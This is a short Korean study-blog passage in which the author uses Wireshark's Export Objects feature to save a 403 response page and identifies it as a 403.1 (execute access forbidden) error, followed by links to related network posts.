구체적으로 어떤 에러 메시지를 주는지 확인하기 위해 

와이어샤크의 Export Objects 기능을 이용하여 403 응답을 보내는 페이지를 저장한 후 확인해보았다.

 

실제 사용자에게 보여지는 403 응답 페이지

403.1 에러로 실행 액세스가 금지된 것임을 확인할 수 있었다.

 

더보기

- 여러 403 하부 오류 코드

사진 출처 : 나무위키 namu.wiki/w/403%20Forbidden

 

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 간단 요청 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

+ Recent posts